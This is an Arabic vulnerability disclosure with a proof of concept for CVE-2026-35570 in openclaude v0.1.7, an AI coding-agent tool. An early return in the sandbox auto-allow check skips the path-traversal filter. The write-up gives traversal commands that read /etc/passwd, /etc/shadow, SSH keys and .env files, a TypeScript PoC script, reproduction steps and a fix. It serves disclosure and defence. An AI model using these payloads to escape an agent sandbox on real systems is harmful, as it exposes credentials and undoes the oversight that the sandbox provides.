
# تفاصيل وشرح وإثبات المفهوم لـ CVE-2026-35570 ثغرة تجاوز للصندوق الرمل (sandbox bypass) في openclaude الإصدار v0.1.7 تسمح بتجاوز المسار (path traversal) لقراءة وكتابة ملفات عشوائية خارج الصندوق الرمل.
CVE-2026-35570 | CVSS 8.4 (عالية) | openclaude v0.1.7
ليست كل ثغرة تتطلب سلسلة استغلال معقدة. أحياناً تكون عبارة return واحدة في غير مكانها كافية لاختراق نموذجك الأمني بالكامل. هذا بالضبط ما تمثله CVE-2026-35570.
يغطي هذا التقرير ثغرة تجاوز العزلة التي وجدتها في openclaude الإصدار v0.1.7 — خلل منطقي يسمح بحمولات تجاوز المسار بالمرور عبر طبقة عزل نظام الملفات دون أي فحص.
كنت أتصفح ملف bashPermissions.ts عندما لفت انتباهي شيء في تدفق التحكم. بدا منطق الأذونات معقولاً للوهلة الأولى — إذا كنا داخل بيئة معزولة، قم بالسماح التلقائي للأمر؛ وإلا، اطلب من المستخدم. نظيف بما يكفي.
لكن سؤالاً واحداً ظل يلح عليّ: أين يحدث فحص قيود المسار فعلياً؟
تتبعت bashToolHasPermission() من البداية إلى النهاية ورسمت مسار التنفيذ:
bashToolHasPermission()
│
├─ [~1445] كتلة السماح التلقائي في العزلة
│ └─ لا توجد قاعدة رفض → إرجاع ALLOW ⚠️ خروج مبكر
│
└─ [~1644] checkPathConstraints() ❌ لا يتم الوصول إليها أبداً
بُنيت كتلة العزلة لتخطي مطالبات الأذونات التفاعلية في البيئات المعزولة. أمر منطقي تماماً. المشكلة أن الدالة تخرج فوراً عندما تُرجع ALLOW. أما checkPathConstraints() — وهي المسؤولة فعلياً عن اكتشاف تجاوز المسار — فلا يتم تنفيذها أبداً.
داخل bashToolHasPermission()، تتبع كتلة السماح التلقائي في العزلة هذا المنطق:
عند هذه النقطة، يتم تجاوز checkPathConstraints() بالكامل. لا يحصل فلتر تجاوز المسار على أي فرصة للعمل.
من منظور المهاجم، هذا يعني أن أوامر مثل هذه تمر مباشرة:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
جميعها تعود بنتيجة behavior: allow. لا مطالبة. لا حظر. لا شيء.
ثلاثة أمور تصبح ممكنة عند وجود هذا الخلل:
قراءة ملفات عشوائية. أي شيء خارج حدود العزلة يصبح متاحاً — /etc/passwd، /etc/shadow، مفاتيح SSH الخاصة، ملفات .env. طالما تسمح أذونات نظام التشغيل بذلك، يمكن قراءة الملف.
كتابة ملفات عشوائية. ينطبق نفس المنطق بالعكس. يمكن للمهاجم الكتابة إلى مسارات خارج العزلة، مما يفتح الباب لاستبدال ملفات الإعدادات أو إسقاط محتوى في مواقع غير متوقعة.
فشل كامل لعزل البيئة. الغرض الكامل من العزلة هو فرض حدود نظام الملفات. مع وجود هذا الخطأ، لا تعني هذه الضمانة شيئاً.
CVSS v3.1: 8.4 (عالية) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
الإصلاح بسيط من الناحية المفاهيمية. يجب أن تمنع كتلة السماح التلقائي في العزلة المطالبات التفاعلية — هذا كل شيء. يجب ألا تقطع مسار معالجة الأذونات بالكامل أبداً.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// العودة المبكرة فقط للرفض أو الطلب — لا تتخطى فحوصات المسار عند السماح
return sandboxResult;
}
// إذا كان السماح، تابع إلى checkPathConstraints أدناه
}
// يجب أن يعمل فحص تجاوز المسار دائماً
return checkPathConstraints(input, appState.toolPermissionContext);
القاعدة الأساسية هنا: السماح التلقائي في العزلة يتخطى المطالبة، وليس الفحوصات الأمنية.
| الحقل | التفاصيل |
|---|---|
| الحزمة | openclaude |
| الإصدار المتأثر | v0.1.7 |
| الإصدار المُصحح | لا يوجد |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (عالية) |
openclaude الإصدار v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
شغّل openclaude مع تفعيل خيارات العزلة والسماح التلقائي:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
قد تختلف أسماء المتغيرات قليلاً. تحقق من فئة
SandboxManagerللتأكد من تعيينات متغيرات البيئة الدقيقة لبنيتك.
احفظ ما يلي كملف poc.ts في جذر المشروع:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// إعداد شروط العزلة
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// حمولة مع تجاوز المسار
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// المتوقع: "deny" — يجب حظر تجاوز المسار
// الفعلي: "allow" ← تم تأكيد الثغرة
ثم شغّله:
npx ts-node poc.ts
سترى:
Result: allow
لم يتم استدعاء checkPathConstraints() أبداً. للتأكد بنفسك، أضف سطر تسجيل داخل bashPermissions.ts:
// حوالي السطر 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // لن تتم طباعته أبداً
// ...
}
شغّل السكربت مرة أخرى. لن يظهر السجل — الدالة يتم تخطيها فعلياً.
افتح openclaude في جلسة معزولة وأرسل الأمر التالي:
cat ../../../../../etc/passwd
يتم تنفيذه دون أي مطالبة إذن أو حظر، ويعرض محتويات /etc/passwd مباشرة.
CVE-2026-35570